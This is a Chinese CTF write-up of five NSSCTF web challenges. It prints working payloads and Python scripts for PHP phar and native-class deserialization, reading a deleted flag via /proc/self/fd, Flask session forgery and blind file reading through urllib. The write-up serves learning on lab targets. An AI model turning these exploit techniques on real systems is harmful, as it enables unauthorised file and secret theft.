[NSSCTF]prize_p1~p5五道题学习

prize_p1(phar反序列化)

打开题目是php源码,

<?php
highlight_file(__FILE__);
class getflag {
    function __destruct() {
        echo getenv("FLAG");
    }
}
class A {
    public $config;
    function __destruct() {
        if ($this->config == 'w') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt", $data);
        } else if ($this->config == 'r') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            echo file_get_contents($data);
        }
    }
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

这里有两个类,第一个getflag类是用来读取flag的,第二个类具有读和写的功能。这代码看似挺简单的,其实不然,代码最后一行是有throw抛出异常的。当程序抛出异常时,就不会去执行__destruct方法。当然也就没有后续的读取flag和读写操作了。

绕过异常(一)

当对象没有被引用时,就会触发GC机制,调用__destruct方法。一般情况下,可以将对象赋值给数组0建,再将0赋给另一个值,那么对象就失去了引用,例如下面这个例子

a:2:{i:0;O:4:"test":0:{};i:0;N}

然而在本题中unserialize($_GET[0]);是没有进行任何引用的,在这里就自动绕过了。

phar反序列化

这里getflag都被过滤了,而且很多伪协议也过滤了,唯独phar没有过滤,那么我们结合题目有写文件功能上传phar文件再通过phar协议读取。生成完phar文件,但是我们发现,里面的内容还是以明文存储的。

有getflag,还是绕不过过滤怎么办?这里我们可以通过将phar转换为另一种文件格式(压缩)这样反序列化就不会出现明文了。有以下五种能触发phar操作。

普通phar
gzip
bzip2
tar
zip

 相关文章:从虎符线下CTF深入反序列化利用 |

绕过异常(二)

在进行phar操作的时候,通过file_get_contents函数利用phar协议来读取时,也是将里面的getflag类进行反序列化,因为这个异常,我们是不能执行getflag类中的__destruct方法的,所以我们需要绕过异常。那么我们可以在phar文件明文部分修改为

a:2:{i:0;O:7:"getflag":{}i:0;N;}

怎么理解呢?这是一个数组,反序列化是按照顺序执行的,那么这个Array[0]首先是设置为getflag对象的,然后又将Array[0]赋值为NuLL,那么原来的getflag就没有被引用了,就会被GC机制回收从而触发__destruct方法。

修改phar签名

修改了明文就万事大吉了?当然不,文件内容修改了,签名也要一并修改才行。查阅php官方文档有phar文件的格式

签名修复脚本:

from hashlib import sha1
f = open('./ph1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件

 此时这道题的四个步骤就完成了,剩下的就是写入phar文件然后用phar://访问。白嫖大佬脚本。

import requests
import gzip
import re

url = 'http://10258-30c3625a-13f9-489f.nss.ctfer.vip:9080/'

file = open("./ph2.phar", "rb") #打开文件
file_out = gzip.open("./phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()

requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'

    },
    data={
        0: open('./phar.zip', 'rb').read()#压缩包内容通过post传参
    }
) # 写入

res = requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
    },
    data={
        0: 'phar://tmp/a.txt'  #读取写入的文件
    }
) # 触发
res.encoding='utf-8'
flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0] #正则匹配我们想要的文本
print(flag)

成功得出flag。

prize_p2(文件描述符)

打开题目是一段node.js源码,不熟悉js语言的我又去简单学习了以下node.js的基础语法。先看源码:

const { randomBytes } = require('crypto');
const express = require('express');//require导包
const fs = require('fs');
const fp = '/app/src/flag.txt';
const app = express();
const flag = Buffer(255);
const a = fs.open(fp, 'r', (err, fd) => {
    fs.read(fd, flag, 0, 44, 0, () => {
        fs.rm(fp, () => {}); //删除flag.txt
    });
});
app.get('/', function (req, res) {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));//就是返回自身的源代码
});

app.get('/hint', function (req, res) {
    res.send(flag.toString().slice(0, randomBytes(1)[0]%32));//tostring()将缓冲区数据解码为字符串
})//slice将字符串提取出子串

// 随机数预测或者一天之后
app.get('/getflag', function (req, res) {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    try {
        let a = req.query.a;  //获取客户端参数
        if (a === randomBytes(3).toString()) {
            res.send(fs.readFileSync(req.query.b));
        } else {
            const t = setTimeout(() => {
                res.send(fs.readFileSync(req.query.b));//设计在多少时间后执行,这里是86400*1000也就是一天后执行
            }, parseInt(req.query.c)?Math.max(86400*1000, parseInt(req.query.c)):86400*1000);
        }//parseInt函数进行int类型转换。然后与86400*1000进行比较
    } catch {
        res.send('?');
    }
})

app.listen(80, '0.0.0.0', () => {
    console.log('Start listening')
});

 js代码分析到这,我们的利用点就是通过fs.readFileSync()函数来读取文件,这里要想执行这个函数,有两种途径,一种就是传入的a参数去匹配三个字节的随机数,第二种就是进入到这个setTimeout函数里面。本题考察第二种,利用setTimeout函数的漏洞,就算能够执行读取函数,flag.txt已经被删除,那就需要通过文件描述符来获取flag。

setTimeout函数绕过

正常情况下,这个函数执行要等待最低一天的时间,这显然是不可行的,查阅官方文档。 官方文档地址:setTimeout(callback, delay[, ...args]) | Node.js API 文档

那么我们传参c大于2147483647即可绕过。

文件描述符

 

文件描述符(File Descriptor)简介 - SegmentFault 思否

我理解是打开一个文件就会创建一个进程,就会返回一个文件描述符,而这个文件描述符就指向这个打开的文件。很巧的是这题打开了flag.txt却没有关闭,我们可以通过文件描述符来获取到被删除文件的内容。linux的/proc目录是一个伪文件系统,linux一切皆文件,linux常见的进程也要变成文件存储在/proc目录下。在/proc目录下有很多以数字为名字的文件夹,就是进程运行时对应的进程号,而在这些文件夹下有一个fd文件夹,用于存放这个进程所拥有的文件描述符(数字)

通过读取当前进程的文件描述符来获取到flag的内容。读取路径为/proc/PID/fd/数字,但是当前进程的PID我们不知道,这里又有一个小知识点,/proc/self是当前运行的程序所对应进程号的一个链接,可以获取到当前运行的进程号。最后的数字需要自己猜了,爆破的话容器会遭不住的。这里就直接写了。那么payload就为:  

getflag?c=2147483648&b=/proc/self/fd/18

最后推荐一位师傅写的wp,太顶了:nss_prize1-2 - 刷题记录 |Yume Shoka = Xilzy's blog = Just have fun in cyberspace!

prize_p3(nginx)

题目描述下载1.zip就可以得到flag。但是我访问1.zip为啥没反应。看了群主的视频讲解才知道,压缩包只能1kb的下载,时间远远不够,看群主是写python脚本来分块多线程下载,对于我这种盲注脚本都写不太明白的菜鸡来说,有点太困难了。官方文档:模块ngx_http_slice_module (nginx.org)

当配置上面的模块功能开启后,对于request请求的一个大文件,ngnix就会将整个大请求分成若干个子请求,每个子请求返回大请求数据的一部分,这个部分的边界由http请求头里的range字段来设置

这里直接用IDM这个多线程下载器下载,虽说也快不了多少,也算是把它下载下来了。最后解压,在文件中搜索NSS找到flag。

等自己python学的差不多了再去研究脚本。

prize_p4(python,盲注)

打开题目是一个表单,随便输入点什么进去,得到提示。

 点击get_key发现是一个flask框架路由代码,可以用来获取到key。

@app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"]=SECRET_KEY

 可以得到key,又让admin登录,那么我们可以伪造session来实现admin登录。flask框架session是储存在客户端的,这就为伪造session提供了条件。

我们要让admin为true,直接改?那要key干什么?flask框架的session是需要利用密钥来生成签名的。所以接下来找到key,看那段路由代码,请求方式不能为GET,我们可以利用postman这个平台。有很多请求方式一个个试。这里用HEAD请求方式,它与GET请求类似,服务器的处理机制也是一样的,唯一大的区别就是HEAD请求不返回实体数据,只返回响应头,属于精简版的GET请求吧,获取到session。  

解码得到key。值为c3d4705e-1443-47e8-8e6c-384cf5ebfdf7,得到了key接下来就是要怎么伪造了。github上应该有专门加密的脚本。脚本地址:GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

 得到伪造的session。在/home路由下伪造得到python源码。

from flask import Flask, request, session, render_template, url_for,redirect,render_template_string
import base64
import urllib.request
import uuid
import flag 

SECRET_KEY=str(uuid.uuid4())
app = Flask(__name__)
app.config.update(dict(
    SECRET_KEY=SECRET_KEY,
))

#src in /app

@app.route('/')
@app.route('/index',methods=['GET'])
def index():
    return render_template("index.html")

@app.route('/get_data', methods=["GET",'POST'])
def get_data():
    data = request.form.get('data', '123')
    if type(data) is str:
        data=data.encode('utf8')
    url = request.form.get('url', 'http://127.0.0.1:8888/')
    if data and url:
        session['data'] = data
        session['url'] = url
        session["admin"]=False
        return redirect(url_for('home'))
    return redirect(url_for('/'))

@app.route('/home', methods=["GET"])
def home():
    if session.get("admin",False):
        return render_template_string(open(__file__).read())
    else:
        return render_template("home.html",data=session.get('data','Not find data...'))

@app.route('/getkey', methods=["GET"])
def getkey():
    if request.method != "GET":
        session["key"]=SECRET_KEY
    return render_template_string('''@app.route('/getkey', methods=["GET"])
def getkey():
    if request.method != "GET":
        session["key"]=SECRET_KEY''')

@app.route('/get_hindd_result', methods=["GET"])
def get_hindd_result():
    if session['data'] and session['url']:
        if 'file:' in session['url']:
            return "no no no"
        data=(session['data']).decode('utf8')
        url_text=urllib.request.urlopen(session['url']).read().decode('utf8')
        if url_text in data or data in url_text:
            return "you get it"
    return "what ???"

@app.route('/getflag', methods=["GET"])
def get_flag():
    res = flag.waf(request)
    return res

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8888)

 审计python源码。重点在这个/getflag路由,传进来的参数会通过waf进行过滤,但是我们不知道这个路由具体的实现代码,其次在/get_hindd_result路由下有段代码:

url_text=urllib.request.urlopen(session['url']).read().decode('utf8')

可以进行任意文件读取,那么我们可以通过这个利用点来读取到这个/getflag路由的代码。但是看前面有一个对file协议过滤的代码:

if 'file:' in session['url']:
            return "no no no"

这里用大小写绕过即可。这里有一个麻烦的点,任意文件读取的结果不会回显在页面。如果url_text和data有相同的部分就会返回"you get it",那么根据这个判断我们可以进行盲注。但是现在还有一个点,该读取什么文件,哪的文件?前面代码注释源码都在app目录下。(#src in /app)大师傅的wp解释说前面导入了flag包,所以读取源码的文件就为/app/flag.py 。

剩下的就是编写脚本进行盲注了,python功底不好,跟着师傅的脚本自己手写一遍。

import requests
import string

url1 = "http://1.14.71.254:28853//get_data"
url2 = "http://1.14.71.254:28853/get_hindd_result"
node = "def"
payload = "\n";
for i in range(32,128):
    payload +=chr(i)  #这里要把换行算进去
while 1:
    for i in payload:  #字符集
        nodes = node + i
        data = {
            'url':'File:///app/flag.py',
            'data':nodes
        }
        res = requests.session() #开启session
        res.get(url1,data=data)   #设置session值
        #print(str(res.cookies.values()))
        resp = str(res.cookies.values())[2:-2]  #除去['和']
        pay = requests.get(url2,cookies = {'session':resp})
        print(pay.text)
        if "you get it" in pay.text:
            node +=i
            print(node)
            break
        if ord(i) == 127:
            print(node)
            exit(0)

这个脚本确实是能跑的,但是很慢,一直跑不全,而且总是Timeout,这里就用师傅跑出来的吧。

def waf(req):
    if not req.base_url.startswith("http://127.0.0.1"):
        return "NoNo!!"
    if not req.full_path.endswitch(".html?"):
        return "No!!"
    return os.getenv("FLAG")

这段代码的意思是需要开头是127.0.0.1,以.html结尾,这好像是不影响读取flag的,这代码可以看出flag在环境变量里,而这个flag.py也在当前运行,所以可以通过/proc/self/environ在环境变量获取到flag,稍微改一下上面爆出flag.py的脚本就可以了。

prize_p5(PHP反序列化)

打开题目是一段php代码,看来是考php的反序列化。源码如下:

 <?php
error_reporting(0);
class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
class error{
    public function __construct($OTL)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}
class escape{                                                                   
    public $name = 'OTL';                                                 
    public $phone = '123666';                                             
    public $email = 'sweet@OTL.com';                          
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }
    else{
        $cc = new catalogue(); 
        unserialize(serialize($cc));           
    }    
    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
        echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?> 

 代码意思很容易理解,这里有一个利用点。

这里可以实例化任意类,而且配合echo输出,那么自然想到就是原生类读文件了。这里利用FilesystemIterator来读取根目录有哪些文件。

O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:1:"/";}

 发现只有一个sys,这个原生类是只能读取文件名的,所以要配合glob协议来找到flag的文件名。

O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:11:"glob:///fl*";}

在根目录下有一个flag文件,那么可不可以用一个原生类来读呢?是有的,我们利用SplFileObject这个原生类,但是对object进行了过滤,这里需要使用到反序列化的小知识点:

方便数据的传输,反序列化内容中大写的S表示字符串,可以识别内容里的十六进制

那么读取flag的payload为:

O:9:"catalogue":2:{s:5:"class";S:13:"SplFileO\62ject";s:4:"data";s:5:"/flag";}

成功得到flag。

这么长的代码就考这个?当然不是,这只是一个非预期,往下看代码,还有一个利用点。

字符替换,有长度差,那么应该就考察字符逃逸了。这里长字符的和短字符的都可以供我们选择,这里我选择字符增多。

这里字符逃逸的细节不再述说。payload为:

name=CTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTF";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}&phone=123&email=1234

注意一定要好好看代码,之前一直没给cata传参,一直就得不出来。打payload得出base64,解码得到flag。

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值